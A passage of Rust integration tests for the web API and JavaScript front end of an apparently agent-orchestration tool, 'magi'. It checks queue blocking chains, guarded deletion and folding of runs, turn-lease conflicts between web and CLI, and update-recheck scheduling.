21366 assert_eq!(res.status, 200);
21367 let held = res.json();
21368 assert_eq!(held["status_str"], "held");
21369 assert_eq!(held["blocked_by"], serde_json::json!([]));
21370 assert!(held["block_reason"].is_null());
21371 assert_eq!(held["answers"][0]["answer"], "SQLite");
21372 }
21373
21374 #[tokio::test]
21375 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
21376 let fx = Fixture::start().await;
21377 let q = fx.queue();
21378 let mk = |title: &str| {
21379 Task::new(
21380 title.to_owned(),
21381 "Instruction".to_owned(),
21382 PathBuf::from("/repo"),
21383 Source::Human,
21384 )
21385 };
21386 let mut root = mk("root");
21387 root.hold_manual(Some("waiting".to_owned()));
21388 q.put(&mut root).unwrap();
21389 let mut mid = mk("mid");
21390 mid.block(vec![root.id.clone()], None);
21391 q.put(&mut mid).unwrap();
21392 let mut leaf = mk("leaf");
21393 leaf.block(vec![mid.id.clone()], None);
21394 q.put(&mut leaf).unwrap();
21395
21396 let list = fx.get("/api/queue").await.json();
21397 let find = |id: &str| {
21398 list.as_array()
21399 .unwrap()
21400 .iter()
21401 .find(|v| v["id"] == id)
21402 .unwrap()
21403 .clone()
21404 };
21405 let leaf_view = find(&leaf.id);
21406 assert_eq!(
21407 leaf_view["waits_on"],
21408 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
21409 );
21410 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
21411 assert_eq!(
21412 find(&mid.id)["waits_on"],
21413 serde_json::json!([format!("{} (held)", root.short())])
21414 );
21415 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
21416 }
21417
21418 #[tokio::test]
21419 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
21420 let fx = Fixture::start().await;
21421 let q = fx.queue();
21422
21423 let mut t1 = Task::new(
21425 "Task 1".to_owned(),
21426 "Instruction 1".to_owned(),
21427 PathBuf::from("/repo"),
21428 Source::Human,
21429 );
21430 let run_id = "20260901-000000-r111";
21431 t1.runs.push(run_id.to_owned());
21432 write_run(&fx.runs(), run_id, RunStatus::Merged);
21433 q.put(&mut t1).expect("put t1");
21434
21435 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
21437 assert_eq!(res.status, 204);
21438 assert!(res.body.is_empty(), "204 No Content has no body");
21439 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
21440 assert!(
21441 fx.runs().join(run_id).exists(),
21442 "run directory must not be deleted when its task is deleted"
21443 );
21444
21445 let mut t2 = Task::new(
21447 "Task 2".to_owned(),
21448 "Instruction 2".to_owned(),
21449 PathBuf::from("/repo"),
21450 Source::Human,
21451 );
21452 t2.status = TaskStatus::Running;
21453 q.put(&mut t2).expect("put t2");
21454 let mut beat = crate::daemon::Status::new();
21455 beat.current = vec![crate::daemon::Current {
21456 worker: None,
21457 task: t2.id.clone(),
21458 run: "20260901-000000-r222".to_owned(),
21459 }];
21460 beat.updated_at = jiff::Timestamp::now();
21461 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21462 .expect("publish a heartbeat");
21463 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
21464 assert_eq!(res.status, 409);
21465 assert!(
21466 res.json()["error"]
21467 .as_str()
21468 .unwrap()
21469 .contains("live daemon")
21470 );
21471 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
21472
21473 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
21479 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21480 .expect("leave a stale heartbeat");
21481 let mut t3 = Task::new(
21482 "Task 3".to_owned(),
21483 "Instruction 3".to_owned(),
21484 PathBuf::from("/repo"),
21485 Source::Human,
21486 );
21487 t3.status = TaskStatus::Running;
21488 q.put(&mut t3).expect("put t3");
21489 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
21490 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
21491 assert_eq!(res.status, 204);
21492 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
21493 assert!(
21494 q.claim(&t3.id).is_ok(),
21495 "the stale lock went with it, so the id is claimable again"
21496 );
21497
21498 let res = fx.delete("/api/queue/nonexistent").await;
21500 assert_eq!(res.status, 404);
21501 }
21502
21503 #[tokio::test]
21504 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
21505 let fx = Fixture::start().await;
21506 let runs = fx.runs();
21507
21508 let run_id = "20260901-000000-fold";
21510 let mut state = RunState::new(
21511 PathBuf::from("/repo"),
21512 "main".to_owned(),
21513 "abc".to_owned(),
21514 "instruction".to_owned(),
21515 Config::default(),
21516 );
21517 state.id = run_id.to_owned();
21518 state.status = RunStatus::Merged;
21519 state.candidates.push(crate::run::Candidate {
21520 index: 0,
21521 label: 'A',
21522 agent: "a".to_owned(),
21523 branch: "b".to_owned(),
21524 worktree: PathBuf::from("/w"),
21525 summary: String::new(),
21526 stat: String::new(),
21527 files: 1,
21528 commits: 1,
21529 empty: false,
21530 failed: None,
21531 verified_noop: None,
21532 duration_ms: 0,
21533 folded: true,
21534 });
21535 let dir = runs.join(run_id);
21536 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
21537 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
21538 .expect("write artifact");
21539 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
21540 .expect("write run.json");
21541
21542 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
21544 assert_eq!(res.status, 204);
21545 assert!(res.body.is_empty(), "204 has no body");
21546 assert!(!dir.exists(), "run directory and artifacts must be deleted");
21547
21548 let run_running = "20260901-000000-rung";
21553 write_run(&runs, run_running, RunStatus::Prep);
21554 let mut beat = crate::daemon::Status::new();
21555 beat.current = vec![crate::daemon::Current {
21556 worker: None,
21557 task: "20260901-000000-task".to_owned(),
21558 run: run_running.to_owned(),
21559 }];
21560 beat.updated_at = jiff::Timestamp::now();
21561 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21562 .expect("publish a heartbeat");
21563 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
21564 assert_eq!(res.status, 409);
21565 assert!(
21566 res.json()["error"]
21567 .as_str()
21568 .unwrap()
21569 .contains("live daemon"),
21570 "the refusal must say who is holding it"
21571 );
21572 assert!(
21573 runs.join(run_running).exists(),
21574 "a run in flight keeps its directory"
21575 );
21576
21577 let run_unfolded = "20260901-000000-unfd";
21579 let mut state2 = RunState::new(
21580 PathBuf::from("/repo"),
21581 "main".to_owned(),
21582 "abc".to_owned(),
21583 "instruction".to_owned(),
21584 Config::default(),
21585 );
21586 state2.id = run_unfolded.to_owned();
21587 state2.status = RunStatus::Ready;
21588 state2.candidates.push(crate::run::Candidate {
21589 index: 0,
21590 label: 'A',
21591 agent: "a".to_owned(),
21592 branch: "b".to_owned(),
21593 worktree: PathBuf::from("/w"),
21594 summary: String::new(),
21595 stat: String::new(),
21596 files: 1,
21597 commits: 1,
21598 empty: false,
21599 failed: None,
21600 verified_noop: None,
21601 duration_ms: 0,
21602 folded: false,
21603 });
21604 let dir2 = runs.join(run_unfolded);
21605 std::fs::create_dir_all(&dir2).expect("create dir2");
21606 std::fs::write(
21607 dir2.join("run.json"),
21608 serde_json::to_string(&state2).unwrap(),
21609 )
21610 .expect("write run.json");
21611
21612 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
21613 assert_eq!(res.status, 409);
21614 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
21615 assert!(dir2.exists(), "unfolded run directory is kept");
21616
21617 let res = fx.delete("/api/runs/nonexistent").await;
21619 assert_eq!(res.status, 404);
21620 }
21621
21622 #[test]
21631 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
21632 let start = APP_JS
21633 .find("function renderStats() {")
21634 .expect("renderStats");
21635 let end = start
21636 + APP_JS[start..]
21637 .find("function statsTile(")
21638 .expect("the next top-level function");
21639 let body = &APP_JS[start..end];
21640
21641 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
21642 let gate_end = gate_start
21643 + body[gate_start..]
21644 .find("}\n renderStatsQueue")
21645 .expect("the gate's own closing brace, right before the unconditional call");
21646 let gated = &body[gate_start..gate_end];
21647
21648 assert_eq!(
21649 body.matches("renderStatsQueue(").count(),
21650 1,
21651 "renderStats must call renderStatsQueue exactly once: {body}"
21652 );
21653 assert!(
21654 !gated.contains("renderStatsQueue"),
21655 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
21656 run-derived panels on an empty run history - the queue panel has to render \
21657 regardless: {gated}"
21658 );
21659 }
21660
21661 #[test]
21662 fn web_ui_delete_contract_in_front_end() {
21663 assert!(APP_JS.contains("deleteRun:"));
21665 assert!(APP_JS.contains("deleteTask:"));
21666
21667 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
21669 ..APP_JS.find("function renderRuns").unwrap()];
21670 assert!(!run_cards_slice.to_lowercase().contains("delete"));
21671
21672 assert!(APP_JS.contains("renderRunDelete"));
21674 assert!(APP_JS.contains("runDeleteReason"));
21675 assert!(APP_JS.contains("magi fold"));
21676 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
21677
21678 assert!(APP_JS.contains("cancel.focus"));
21680 assert!(APP_JS.contains("armedRunDelete"));
21681 assert!(APP_JS.contains("renderTaskDeleteBox"));
21682 assert!(APP_JS.contains("armed${cap(key)}"));
21683
21684 assert!(APP_JS.contains("disabled: status === \"running\""));
21686 }
21687
21688 #[test]
21708 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
21709 let build = APP_JS
21710 .find("function createRunCard")
21711 .expect("createRunCard exists");
21712 let update = APP_JS
21713 .find("function updateRunCard")
21714 .expect("updateRunCard exists");
21715 let end = APP_JS
21716 .find("function renderRuns")
21717 .expect("renderRuns exists");
21718
21719 let builder = &APP_JS[build..update];
21721 let open = builder.find("refs = {").expect("createRunCard sets refs");
21722 let literal = &builder[open + "refs = {".len()..];
21723 let close = literal.find('}').expect("the refs literal is closed");
21724 let published: HashSet<&str> = literal[..close]
21725 .split(',')
21726 .filter_map(|entry| entry.split(':').next())
21728 .map(str::trim)
21729 .filter(|name| !name.is_empty())
21730 .collect();
21731 assert!(
21732 published.len() > 5,
21733 "the refs literal did not parse into names: {published:?}"
21734 );
21735
21736 let mut used: Vec<&str> = Vec::new();
21739 let updaters = &APP_JS[update..end];
21740 for (at, _) in updaters.match_indices("r.") {
21741 let before = updaters[..at].chars().next_back();
21744 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21745 continue;
21746 }
21747 let rest = &updaters[at + 2..];
21748 let len = rest
21749 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21750 .unwrap_or(rest.len());
21751 if len > 0 {
21752 used.push(&rest[..len]);
21753 }
21754 }
21755 assert!(
21756 used.len() > 5,
21757 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21758 );
21759
21760 let missing: Vec<&str> = used
21761 .iter()
21762 .copied()
21763 .filter(|name| !published.contains(name))
21764 .collect();
21765 assert!(
21766 missing.is_empty(),
21767 "a run card's updater reaches for {missing:?}, which `createRunCard` \
21768 never put in `refs` - every card will throw and the list will \
21769 render empty under a count line that says otherwise. Published: \
21770 {published:?}"
21771 );
21772 }
21773
21774 #[tokio::test]
21775 async fn folding_from_the_phone_reports_what_it_removed() {
21776 let fx = Fixture::start().await;
21777 let runs = fx.runs();
21778
21779 let id = "20260901-000000-fold";
21783 write_run(&runs, id, RunStatus::Stalled);
21784 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21785 assert_eq!(res.status, 200);
21786 assert_eq!(res.json()["removed_count"], 0);
21787 assert_eq!(res.json()["run"], id);
21788 assert!(
21789 runs.join(id).exists(),
21790 "a fold keeps the run's record; only the worktrees go"
21791 );
21792 }
21793
21794 #[tokio::test]
21795 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21796 let fx = Fixture::start().await;
21797 let runs = fx.runs();
21798 let wt = fx.home.path().join("wt").join("magi").join("dead");
21799 let id = "20260901-000000-dead";
21800 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21801 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21802 std::fs::create_dir_all(&wt).expect("worktree dir");
21803
21804 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21805 assert_eq!(res.status, 200, "{}", res.body);
21806 assert!(
21807 res.json()["removed_count"].as_u64().unwrap() > 0,
21808 "the worktree this build could not read a state for still went"
21809 );
21810 assert!(
21811 !runs.join(id).exists(),
21812 "an unreadable run has no candidate list to fold selectively, so \
21813 the whole record goes - same as `magi fold` on the CLI"
21814 );
21815 }
21816
21817 #[tokio::test]
21818 async fn deleting_an_unreadable_run_removes_it_wholesale() {
21819 let fx = Fixture::start().await;
21820 let runs = fx.runs();
21821 let wt = fx.home.path().join("wt").join("magi").join("gone");
21822 let id = "20260901-000000-gone";
21823 std::fs::create_dir_all(runs.join(id)).expect("run dir");
21824 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21825 std::fs::create_dir_all(&wt).expect("worktree dir");
21826
21827 let res = fx.delete(&format!("/api/runs/{id}")).await;
21828 assert_eq!(res.status, 204, "{}", res.body);
21829 assert!(!runs.join(id).exists(), "the broken record is gone");
21830 assert!(!wt.exists(), "its worktree is gone too");
21831 }
21832
21833 #[tokio::test]
21834 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21835 let fx = Fixture::start().await;
21836 let runs = fx.runs();
21837 let id = "20260901-000000-live";
21838 write_run(&runs, id, RunStatus::Implementing);
21839
21840 let mut beat = crate::daemon::Status::new();
21841 beat.current = vec![crate::daemon::Current {
21842 worker: None,
21843 task: "20260901-000000-task".to_owned(),
21844 run: id.to_owned(),
21845 }];
21846 beat.updated_at = jiff::Timestamp::now();
21847 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21848 .expect("publish a heartbeat");
21849
21850 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21851 assert_eq!(res.status, 409);
21852 assert!(
21853 res.json()["error"]
21854 .as_str()
21855 .unwrap()
21856 .contains("live daemon"),
21857 "folding under a running agent would pull its worktree away"
21858 );
21859 }
21860
21861 #[tokio::test]
21862 async fn fold_merged_requires_a_pr_url() {
21863 let fx = Fixture::start().await;
21864 let runs = fx.runs();
21865 let id = "20260901-000000-nourl";
21866 write_run(&runs, id, RunStatus::Blocked);
21867
21868 let res = fx
21869 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21870 .await;
21871 assert_eq!(res.status, 400, "{}", res.body);
21872
21873 let blank = fx
21874 .post(
21875 &format!("/api/runs/{id}/fold-merged"),
21876 Some(r#"{"pr_url":" "}"#),
21877 )
21878 .await;
21879 assert_eq!(blank.status, 400, "{}", blank.body);
21880 }
21881
21882 #[tokio::test]
21883 async fn fold_merged_is_404_for_an_unknown_run() {
21884 let fx = Fixture::start().await;
21885 let res = fx
21886 .post(
21887 "/api/runs/nosuchrun/fold-merged",
21888 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21889 )
21890 .await;
21891 assert_eq!(res.status, 404, "{}", res.body);
21892 }
21893
21894 #[tokio::test]
21895 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21896 let fx = Fixture::start().await;
21897 let runs = fx.runs();
21898 let id = "20260901-000000-livemerge";
21899 write_run(&runs, id, RunStatus::Blocked);
21900
21901 let mut beat = crate::daemon::Status::new();
21902 beat.current = vec![crate::daemon::Current {
21903 worker: None,
21904 task: "20260901-000000-task".to_owned(),
21905 run: id.to_owned(),
21906 }];
21907 beat.updated_at = jiff::Timestamp::now();
21908 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21909 .expect("publish a heartbeat");
21910
21911 let res = fx
21912 .post(
21913 &format!("/api/runs/{id}/fold-merged"),
21914 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21915 )
21916 .await;
21917 assert_eq!(res.status, 409, "{}", res.body);
21918 assert!(
21919 res.json()["error"]
21920 .as_str()
21921 .unwrap()
21922 .contains("live daemon"),
21923 "correcting a run's merge underneath a running agent would race \
21924 whatever it is doing to the same `status`/`merge` fields"
21925 );
21926 }
21927
21928 #[tokio::test]
21933 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21934 let fx = Fixture::start().await;
21935 let runs = fx.runs();
21936 let id = "20260901-000000-unconfirmed";
21937 write_run(&runs, id, RunStatus::Blocked);
21938
21939 let res = fx
21940 .post(
21941 &format!("/api/runs/{id}/fold-merged"),
21942 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21943 )
21944 .await;
21945 assert_eq!(res.status, 400, "{}", res.body);
21946 assert_eq!(
21947 read_run(&runs, id).unwrap().status,
21948 RunStatus::Blocked,
21949 "a pull request that could not be confirmed merged must leave \
21950 the run exactly where it was"
21951 );
21952 }
21953
21954 #[tokio::test]
21955 async fn terminal_runs_cannot_be_resumed() {
21956 let fx = Fixture::start().await;
21957 let runs = fx.runs();
21958
21959 for (status, word) in [
21960 (RunStatus::Merged, "merged"),
21961 (RunStatus::Ready, "ready"),
21962 (RunStatus::Failed, "failed"),
21963 ] {
21964 let id = format!("20260901-000000-{}", &word[..4]);
21965 write_run(&runs, &id, status);
21966 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21967 assert_eq!(res.status, 409, "{word} must not be resumable");
21968 }
21969 }
21970
21971 #[tokio::test]
21972 async fn resume_is_refused_while_the_loop_is_running() {
21973 let fx = Fixture::start().await;
21974 let runs = fx.runs();
21975 let stalled = "20260901-000000-stal";
21976 write_run(&runs, stalled, RunStatus::Stalled);
21977
21978 let mut beat = crate::daemon::Status::new();
21982 beat.current = vec![crate::daemon::Current {
21983 worker: None,
21984 task: "20260901-000000-task".to_owned(),
21985 run: "20260901-000000-othr".to_owned(),
21986 }];
21987 beat.updated_at = jiff::Timestamp::now();
21988 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21989 .expect("publish a heartbeat");
21990
21991 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21992 assert_eq!(res.status, 409);
21993 let err = res.json()["error"].as_str().unwrap().to_owned();
21994 assert!(err.contains("othr"), "it names what the loop is on: {err}");
21995 assert!(err.contains("stop it first"), "{err}");
21996 }
21997
21998 #[test]
21999 fn a_run_cannot_be_resumed_twice_at_once() {
22000 let home = TempDir::new().expect("temp home");
22001 let ui = Ui::new(
22002 Queue::at(home.path().join("queue")),
22003 Questions::at(home.path().join("questions")),
22004 Talks::at(home.path().join("talks")),
22005 home.path().join("runs"),
22006 home.path().to_path_buf(),
22007 PathBuf::from("/repo"),
22008 )
22009 .with_worktrees_root(home.path().join("wt"));
22010 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
22011 let again = ui.begin_resume("20260901-000000-once");
22012 assert!(again.is_err(), "a second tap must not start a second graph");
22013 drop(first);
22014 assert!(
22015 ui.begin_resume("20260901-000000-once").is_ok(),
22016 "and the claim is released when the attempt ends"
22017 );
22018 }
22019
22020 #[test]
22021 fn talk_thinking_tracks_only_its_held_turn_claim() {
22022 let home = TempDir::new().expect("temp home");
22023 let ui = Ui::new(
22024 Queue::at(home.path().join("queue")),
22025 Questions::at(home.path().join("questions")),
22026 Talks::at(home.path().join("talks")),
22027 home.path().join("runs"),
22028 home.path().to_path_buf(),
22029 PathBuf::from("/repo"),
22030 )
22031 .with_worktrees_root(home.path().join("wt"));
22032 let id = "20260901-000000-once";
22033
22034 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
22035 let turn = ui.begin_talk_turn(id).expect("claim turn");
22036 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
22037 assert!(
22038 !ui.is_thinking("20260901-000000-other"),
22039 "one talk's turn does not make another talk busy"
22040 );
22041 drop(turn);
22042 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
22043 }
22044
22045 #[test]
22046 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
22047 let home = TempDir::new().expect("temp home");
22048 let talks = Talks::at(home.path().join("talks"));
22049 let ui = Ui::new(
22050 Queue::at(home.path().join("queue")),
22051 Questions::at(home.path().join("questions")),
22052 talks.clone(),
22053 home.path().join("runs"),
22054 home.path().to_path_buf(),
22055 PathBuf::from("/repo"),
22056 )
22057 .with_worktrees_root(home.path().join("wt"));
22058 let id = "20260901-000000-cross";
22059
22060 let other = Talks::at(home.path().join("talks"))
22061 .claim_turn(id)
22062 .expect("claim")
22063 .expect("the other process wins");
22064 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
22065 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
22066 assert!(
22067 matches!(
22068 ui.begin_talk_turn_unless_pending(id).expect("start"),
22069 TalkTurnStart::Foreign
22070 ),
22071 "a foreign holder is refused, not queued behind"
22072 );
22073 assert!(
22074 !ui.talk_turns.lock().unwrap().live.contains(id),
22075 "a refused claim leaves no in-process entry behind"
22076 );
22077 drop(other);
22078 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
22079 assert!(talks.turn_held(id), "the web turn holds the lease");
22080 drop(turn);
22081 assert!(
22082 !talks.turn_held(id),
22083 "dropping the guard releases the lease"
22084 );
22085 }
22086
22087 fn consult_question(ui: &Ui) -> Question {
22088 let mut q = Question::new(
22089 "20260901-000000-consult".to_owned(),
22090 "implement".to_owned(),
22091 "impl-A".to_owned(),
22092 "Which backend?".to_owned(),
22093 String::new(),
22094 vec!["SQLite".to_owned(), "Redis".to_owned()],
22095 );
22096 ui.questions.put(&mut q).expect("question");
22097 q
22098 }
22099
22100 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
22101 (
22102 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
22103 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
22104 )
22105 }
22106
22107 #[tokio::test]
22108 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
22109 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22110 let q = consult_question(&ui);
22111 let talk = ui.talks.get(&id).expect("talk");
22112 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
22113 let before = consult_snapshot(&ui, &q, &id);
22114 let cli_talks = Talks::at(ui.home.join("talks"));
22115 assert_eq!(
22116 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
22117 .await
22118 .expect("CLI starter"),
22119 crate::consult::Started::Busy
22120 );
22121 assert_eq!(consult_snapshot(&ui, &q, &id), before);
22122 assert!(ui.is_thinking(&id));
22123 drop(guard);
22124 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
22125 }
22126
22127 #[tokio::test]
22128 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
22129 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
22130 let q = consult_question(&ui);
22131 let talk = ui.talks.get(&id).expect("talk");
22132 let started = tmp.path().join("started");
22133 let release = tmp.path().join("release");
22134 let script = tmp.path().join("consult-agent.sh");
22135 std::fs::write(
22136 &script,
22137 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
22138 )
22139 .expect("script");
22140 let mut cfg = stub_config();
22141 cfg.agents[0].id = "mock".to_owned();
22142 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
22143 cfg.agents[0].env = std::collections::BTreeMap::from([
22144 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
22145 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
22146 ]);
22147 let questions = ui.questions.clone();
22148 let cli_talks = Talks::at(ui.home.join("talks"));
22149 let cli_q = q.clone();
22150 let turn = tokio::spawn(async move {
22151 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
22152 });
22153 let ready = tokio::time::timeout(Duration::from_secs(30), async {
22154 while !started.exists() {
22155 tokio::time::sleep(Duration::from_millis(10)).await;
22156 }
22157 })
22158 .await;
22159 let refusal = if ready.is_ok() {
22162 let before = consult_snapshot(&ui, &q, &id);
22163 let result = talk_say(
22164 State(Arc::clone(&ui)),
22165 Path(id.clone()),
22166 Ok(Json(NewTalkTurn {
22167 reply_to: None,
22168 text: "another message".to_owned(),
22169 attachments: Vec::new(),
22170 })),
22171 )
22172 .await;
22173 Some((result, before, consult_snapshot(&ui, &q, &id)))
22174 } else {
22175 None
22176 };
22177 std::fs::write(&release, "").expect("release agent");
22178 let done = turn.await.expect("join CLI turn");
22179 ready.expect("agent started before deadline");
22180 let (result, before, after) = refusal.expect("web request");
22181 let error = result.expect_err("web must refuse the CLI's turn");
22182 assert_eq!(error.status, StatusCode::CONFLICT);
22183 assert!(error.message.contains("a turn is already running"));
22184 assert_eq!(
22185 after, before,
22186 "refusal preserves question, draft and history"
22187 );
22188 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
22189 let guard = ui
22190 .begin_talk_turn(&id)
22191 .expect("web claim")
22192 .expect("free again");
22193 drop(guard);
22194 }
22195
22196 #[test]
22197 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
22198 let home = TempDir::new().expect("temp home");
22199 let talks = Talks::at(home.path().join("talks"));
22200 let ui = Ui::new(
22201 Queue::at(home.path().join("queue")),
22202 Questions::at(home.path().join("questions")),
22203 talks.clone(),
22204 home.path().join("runs"),
22205 home.path().to_path_buf(),
22206 PathBuf::from("/repo"),
22207 )
22208 .with_worktrees_root(home.path().join("wt"));
22209 let id = "20260901-000000-order";
22210 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22211 let slots = ui.talk_turns.lock().unwrap();
22213 let dropper = std::thread::spawn(move || drop(turn));
22214 let start = std::time::Instant::now();
22215 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
22216 std::thread::sleep(Duration::from_millis(5));
22217 }
22218 assert!(!talks.turn_held(id), "the lease is released first");
22219 assert!(slots.live.contains(id), "the slot is still held meanwhile");
22220 drop(slots);
22221 dropper.join().expect("join");
22222 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
22223 }
22224
22225 #[tokio::test]
22226 async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
22227 let fx = Fixture::start().await;
22228 let mut beat = crate::daemon::Status::new();
22229 beat.worker_protocol = None;
22230 beat.pid = 4321;
22231 beat.updated_at = jiff::Timestamp::now();
22232 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22233 .expect("publish a heartbeat");
22234
22235 let res = fx.post("/api/upgrade", None).await;
22236 assert_eq!(res.status, 409);
22237 }
22238
22239 #[test]
22246 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
22247 assert!(!should_spawn_recheck(&crate::config::Update {
22248 mode: UpdateMode::Off,
22249 interval: None,
22250 auto_restart: false,
22251 }));
22252
22253 unsafe {
22256 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22257 }
22258 let killed = should_spawn_recheck(&crate::config::Update {
22259 mode: UpdateMode::Notify,
22260 interval: None,
22261 auto_restart: false,
22262 });
22263 unsafe {
22264 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22265 }
22266 assert!(
22267 !killed,
22268 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
22269 one-time startup check"
22270 );
22271
22272 assert!(should_spawn_recheck(&crate::config::Update {
22273 mode: UpdateMode::Notify,
22274 interval: None,
22275 auto_restart: false,
22276 }));
22277 }
22278
22279 #[test]
22285 fn recheck_poll_period_tracks_a_short_configured_interval() {
22286 let short = crate::config::Update {
22287 mode: UpdateMode::Notify,
22288 interval: Some("1m".to_owned()),
22289 auto_restart: false,
22290 };
22291 let period = recheck_poll_period(&short);
22292 assert!(
22293 period <= Duration::from_secs(30),
22294 "a one-minute interval must wake the task far sooner than the \
22295 default ceiling, or the deck would not notice within the \
22296 interval the operator configured: got {period:?}"
22297 );
22298
22299 let default = crate::config::Update {
22300 mode: UpdateMode::Notify,
22301 interval: None,
22302 auto_restart: false,
22303 };
22304 assert_eq!(
22305 recheck_poll_period(&default),
22306 UPDATE_RECHECK_POLL_MAX,
22307 "the default day-long interval should poll at the (capped) \
22308 ceiling rather than needlessly often"
22309 );
22310 }
22311
22312 #[test]
22320 fn recheck_skips_the_network_before_the_interval_elapses() {
22321 let dir = TempDir::new().expect("temp dir");
22322 let path = dir.path().join("state.json");
22323 let state = kaishin::UpdateCheckState {
22324 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
22325 last_known_latest: None,
22326 last_known_url: None,
22327 };
22328 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
22329
22330 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
22331 assert!(
22332 !update_recheck_due(&checker, None),
22333 "a check made moments ago must not be repeated before the \
22334 configured interval elapses"
22335 );
22336 }
22337
22338 #[test]
22344 fn recheck_defers_to_an_upgrade_already_in_flight() {
22345 let dir = TempDir::new().expect("temp dir");
22346 let path = dir.path().join("state.json");
22347 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
22348 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
22349
22350 assert!(
22351 !update_recheck_due(&checker, Some(&progress)),
22352 "a recheck must not run while an upgrade this deck started is \
22353 still moving"
22354 );
22355 }
22356
22357 #[tokio::test]
22358 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
22359 unsafe {
